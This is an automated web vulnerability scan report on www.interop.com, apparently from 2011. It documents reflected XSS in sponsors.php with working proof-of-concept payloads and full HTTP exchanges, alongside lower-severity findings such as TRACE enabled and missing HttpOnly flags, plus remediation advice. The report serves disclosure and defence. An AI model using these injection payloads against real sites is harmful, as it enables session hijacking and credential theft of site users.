XSS, Cross Site Scripting, CWE-79, CAPEC-86, interop.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.interop.com/lasvegas/it-expo/sponsors.php [name of an arbitrarily supplied request parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.interop.com
Path:	/lasvegas/it-expo/sponsors.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 9306f--><img%20src%3da%20onerror%3dalert(1)>83a72e7441c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 9306f--><img src=a onerror=alert(1)>83a72e7441c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /lasvegas/it-expo/sponsors.php/9306f--><img%20src%3da%20onerror%3dalert(1)>83a72e7441c HTTP/1.1
Host: www.interop.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 14 Apr 2011 14:20:55 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Set-Cookie: theme=lasvegas; expires=Sat, 16-Apr-2011 14:20:55 GMT; path=/; domain=www.interop.com
Connection: close
Content-Type: text/html
Content-Length: 62055

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://ogp.me/ns#" xmlns
...[SNIP]...
<img src=a onerror=alert(1)>83a72e7441c.css
-->
...[SNIP]...

1.2. http://www.interop.com/lasvegas/it-expo/sponsors.php/a [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.interop.com
Path:	/lasvegas/it-expo/sponsors.php/a

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload afb73--><img%20src%3da%20onerror%3dalert(1)>3ea00e765d7 was submitted in the REST URL parameter 4. This input was echoed as afb73--><img src=a onerror=alert(1)>3ea00e765d7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /lasvegas/it-expo/sponsors.php/aafb73--><img%20src%3da%20onerror%3dalert(1)>3ea00e765d7 HTTP/1.1
Host: www.interop.com
Proxy-Connection: keep-alive
Referer: http://www.interop.com/lasvegas/it-expo/sponsors.php/9306f--%3E%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3E83a72e7441c
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmx_k_189887474=1; s_cc=true; __utmz=1.1302790871.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1510423720.1302790871.1302790871.1302790871.1; __utmc=1; __utmb=1.2.10.1302790871; s_sq=%5B%5BB%5D%5D; s_nr=1302790976775; s_lv=1302790976776; s_lv_s=First%20Visit; us_ubm_aut=3-3; theme=lasvegas; __utmx=1.; __utmxx=1.

Response

HTTP/1.1 200 OK
Date: Thu, 14 Apr 2011 14:39:56 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Set-Cookie: theme=lasvegas; expires=Sat, 16-Apr-2011 14:39:56 GMT; path=/; domain=www.interop.com
Connection: close
Content-Type: text/html
Content-Length: 62056

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://ogp.me/ns#" xmlns
...[SNIP]...
<img src=a onerror=alert(1)>3ea00e765d7.css
-->
...[SNIP]...

2. Cross-domain script include previous next
There are 3 instances of this issue:

/favicon.ico
/lasvegas/it-expo/sponsors.php
/lasvegas/it-expo/sponsors.php/a

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

2.1. http://www.interop.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interop.com
Path:	/favicon.ico

Issue detail

The response dynamically includes the following scripts from other domains:

http://acme.medialiveinternational.com/js/hoverIntent.js
http://acme.medialiveinternational.com/js/ieupdate.js
http://acme.medialiveinternational.com/js/jquery-ui.custom.min.js
http://acme.medialiveinternational.com/js/jquery.js
http://acme.medialiveinternational.com/js/quick_form_validate.js
http://acme.medialiveinternational.com/js/superfish.js
http://acme.medialiveinternational.com/js/taglinks.js
http://i.cmpnet.com/shared/omniture/h_s_code_remote.js

Request

GET /favicon.ico HTTP/1.1
Host: www.interop.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: theme=lasvegas; __utmx=1.; __utmxx=1.; s_cc=true; s_nr=1302790870513; s_lv=1302790870514; s_lv_s=First%20Visit; us_ubm_aut=3-1; s_sq=%5B%5BB%5D%5D; __utmz=1.1302790871.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1510423720.1302790871.1302790871.1302790871.1; __utmc=1; __utmb=1.2.10.1302790871

Response

HTTP/1.1 404 Not Found
Date: Thu, 14 Apr 2011 14:21:04 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html
Content-Length: 34737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://ogp.me/ns#" xmlns
...[SNIP]...
</title>


               <script type="text/javascript" src="http://acme.medialiveinternational.com/js/jquery.js"></script>
       <script type="text/javascript" src="http://acme.medialiveinternational.com/js/jquery-ui.custom.min.js"></script>
       <script type="text/javascript" src="http://acme.medialiveinternational.com/js/hoverIntent.js"></script>
       <script type="text/javascript" src="http://acme.medialiveinternational.com/js/superfish.js"></script>
...[SNIP]...
</script>
       <script type="text/javascript" src="http://acme.medialiveinternational.com/js/ieupdate.js"></script>
...[SNIP]...
</h2><script type="text/javascript" src="http://acme.medialiveinternational.com/js/quick_form_validate.js"></script>
...[SNIP]...

<script language="JavaScript" type="text/javascript" src="http://i.cmpnet.com/shared/omniture/h_s_code_remote.js"></script>
...[SNIP]...


<script src="http://acme.medialiveinternational.com/js/taglinks.js" type="text/javascript"></script>
...[SNIP]...

2.2. http://www.interop.com/lasvegas/it-expo/sponsors.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interop.com
Path:	/lasvegas/it-expo/sponsors.php

Issue detail

The response dynamically includes the following scripts from other domains:

http://acme.medialiveinternational.com/js/hoverIntent.js
http://acme.medialiveinternational.com/js/ieupdate.js
http://acme.medialiveinternational.com/js/jquery-ui.custom.min.js
http://acme.medialiveinternational.com/js/jquery.js
http://acme.medialiveinternational.com/js/quick_form_validate.js
http://acme.medialiveinternational.com/js/superfish.js
http://acme.medialiveinternational.com/js/taglinks.js
http://i.cmpnet.com/shared/omniture/h_s_code_remote.js

Request

GET /lasvegas/it-expo/sponsors.php HTTP/1.1
Host: www.interop.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 14 Apr 2011 14:20:53 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Set-Cookie: theme=lasvegas; expires=Sat, 16-Apr-2011 14:20:53 GMT; path=/; domain=www.interop.com
Connection: close
Content-Type: text/html
Content-Length: 62015

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://ogp.me/ns#" xmlns
...[SNIP]...
</title>


               <script type="text/javascript" src="http://acme.medialiveinternational.com/js/jquery.js"></script>
       <script type="text/javascript" src="http://acme.medialiveinternational.com/js/jquery-ui.custom.min.js"></script>
       <script type="text/javascript" src="http://acme.medialiveinternational.com/js/hoverIntent.js"></script>
       <script type="text/javascript" src="http://acme.medialiveinternational.com/js/superfish.js"></script>
...[SNIP]...
</script>
       <script type="text/javascript" src="http://acme.medialiveinternational.com/js/ieupdate.js"></script>
...[SNIP]...
</h2><script type="text/javascript" src="http://acme.medialiveinternational.com/js/quick_form_validate.js"></script>
...[SNIP]...

<script language="JavaScript" type="text/javascript" src="http://i.cmpnet.com/shared/omniture/h_s_code_remote.js"></script>
...[SNIP]...


<script src="http://acme.medialiveinternational.com/js/taglinks.js" type="text/javascript"></script>
...[SNIP]...

2.3. http://www.interop.com/lasvegas/it-expo/sponsors.php/a previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interop.com
Path:	/lasvegas/it-expo/sponsors.php/a

Issue detail

The response dynamically includes the following scripts from other domains:

http://acme.medialiveinternational.com/js/hoverIntent.js
http://acme.medialiveinternational.com/js/ieupdate.js
http://acme.medialiveinternational.com/js/jquery-ui.custom.min.js
http://acme.medialiveinternational.com/js/jquery.js
http://acme.medialiveinternational.com/js/quick_form_validate.js
http://acme.medialiveinternational.com/js/superfish.js
http://acme.medialiveinternational.com/js/taglinks.js
http://i.cmpnet.com/shared/omniture/h_s_code_remote.js

Request

GET /lasvegas/it-expo/sponsors.php/a HTTP/1.1
Host: www.interop.com
Proxy-Connection: keep-alive
Referer: http://www.interop.com/lasvegas/it-expo/sponsors.php/9306f--%3E%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3E83a72e7441c
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmx_k_189887474=1; s_cc=true; __utmz=1.1302790871.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1510423720.1302790871.1302790871.1302790871.1; __utmc=1; __utmb=1.2.10.1302790871; s_sq=%5B%5BB%5D%5D; s_nr=1302790976775; s_lv=1302790976776; s_lv_s=First%20Visit; us_ubm_aut=3-3; theme=lasvegas; __utmx=1.; __utmxx=1.

Response

HTTP/1.1 200 OK
Date: Thu, 14 Apr 2011 14:39:48 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Set-Cookie: theme=lasvegas; expires=Sat, 16-Apr-2011 14:39:48 GMT; path=/; domain=www.interop.com
Connection: close
Content-Type: text/html
Content-Length: 62009

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://ogp.me/ns#" xmlns
...[SNIP]...
</title>


               <script type="text/javascript" src="http://acme.medialiveinternational.com/js/jquery.js"></script>
       <script type="text/javascript" src="http://acme.medialiveinternational.com/js/jquery-ui.custom.min.js"></script>
       <script type="text/javascript" src="http://acme.medialiveinternational.com/js/hoverIntent.js"></script>
       <script type="text/javascript" src="http://acme.medialiveinternational.com/js/superfish.js"></script>
...[SNIP]...
</script>
       <script type="text/javascript" src="http://acme.medialiveinternational.com/js/ieupdate.js"></script>
...[SNIP]...
</h2><script type="text/javascript" src="http://acme.medialiveinternational.com/js/quick_form_validate.js"></script>
...[SNIP]...

<script language="JavaScript" type="text/javascript" src="http://i.cmpnet.com/shared/omniture/h_s_code_remote.js"></script>
...[SNIP]...


<script src="http://acme.medialiveinternational.com/js/taglinks.js" type="text/javascript"></script>
...[SNIP]...

3. Cookie without HttpOnly flag set previous next
There are 2 instances of this issue:

/lasvegas/it-expo/sponsors.php
/lasvegas/it-expo/sponsors.php/a

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

3.1. http://www.interop.com/lasvegas/it-expo/sponsors.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interop.com
Path:	/lasvegas/it-expo/sponsors.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

theme=lasvegas; expires=Sat, 16-Apr-2011 14:20:53 GMT; path=/; domain=www.interop.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

3.2. http://www.interop.com/lasvegas/it-expo/sponsors.php/a previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interop.com
Path:	/lasvegas/it-expo/sponsors.php/a

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

theme=lasvegas; expires=Sat, 16-Apr-2011 14:39:48 GMT; path=/; domain=www.interop.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

4. TRACE method is enabled previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interop.com
Path:	/

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: www.interop.com
Cookie: 2a47657fad15f25

Response

HTTP/1.1 200 OK
Date: Thu, 14 Apr 2011 14:20:53 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.interop.com
Cookie: 2a47657fad15f25; theme=lasvegas

5. Email addresses disclosed previous next
There are 4 instances of this issue:

/favicon.ico
/js/scripts.js
/lasvegas/it-expo/sponsors.php
/lasvegas/it-expo/sponsors.php/a

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

5.1. http://www.interop.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interop.com
Path:	/favicon.ico

Issue detail

The following email address was disclosed in the response:

feedback@techweb.com

Request

Response

5.2. http://www.interop.com/js/scripts.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interop.com
Path:	/js/scripts.js

Issue detail

The following email address was disclosed in the response:

support@codefoot.com

Request

GET /js/scripts.js HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.interop.com

Response

HTTP/1.1 200 OK
Date: Thu, 14 Apr 2011 14:20:36 GMT
Server: Apache
Last-Modified: Fri, 30 May 2008 18:50:11 GMT
ETag: "1b48b53-2322-44e771d919ec0"
Accept-Ranges: bytes
Content-Length: 8994
Connection: close
Content-Type: application/x-javascript
X-Pad: avoid browser bug

// All JavaScripts for interop.com

// startList handles the menu mouseover pull-down for MSIE. It is in the process of being made redundant.
   startList = function() {
       if (document.all&&do
...[SNIP]...
or backwards compatibility
   var SWFObject=deconcept.SWFObject;

// The JavaScript Source!! http://javascript.internet.com
// Original: David Sosnowski (support@codefoot.com)
// Web Site: http://www.codefoot.com
   function blockError(){return true;}
   window.onerror = blockError;

5.3. http://www.interop.com/lasvegas/it-expo/sponsors.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interop.com
Path:	/lasvegas/it-expo/sponsors.php

Issue detail

The following email address was disclosed in the response:

feedback@techweb.com

Request

Response

5.4. http://www.interop.com/lasvegas/it-expo/sponsors.php/a previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interop.com
Path:	/lasvegas/it-expo/sponsors.php/a

Issue detail

The following email address was disclosed in the response:

feedback@techweb.com

Request

Response

6. Robots.txt file previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interop.com
Path:	/lasvegas/it-expo/sponsors.php

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.interop.com

Response

HTTP/1.1 200 OK
Date: Thu, 14 Apr 2011 14:20:53 GMT
Server: Apache
Last-Modified: Fri, 24 Oct 2008 21:56:25 GMT
ETag: "1b4853d-4cf-45a06da437440"
Accept-Ranges: bytes
Content-Length: 1231
Connection: close
Content-Type: text/plain

User-agent: *
Disallow: /collateral/
Disallow: /lasvegas/exhibition/index.php
Disallow: /lasvegas/2008/application-delivery.php
Disallow: /lasvegas/2008/data-center.php
Disallow: /lasvegas/2008/e
...[SNIP]...

7. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.interop.com
Path:	/lasvegas/js/google/gwo-control-script-part-1.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain plain text.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /lasvegas/js/google/gwo-control-script-part-1.js HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.interop.com

Response

HTTP/1.1 200 OK
Date: Thu, 14 Apr 2011 14:20:35 GMT
Server: Apache
Last-Modified: Wed, 08 Dec 2010 00:00:37 GMT
ETag: "1cf0034-27-496dacf9c3340"
Accept-Ranges: bytes
Content-Length: 39
Connection: close
Content-Type: application/x-javascript

_udn = ".interop.com";
_uhash = "off";

Report generated by XSS.CX at Thu Apr 14 14:22:23 CDT 2011.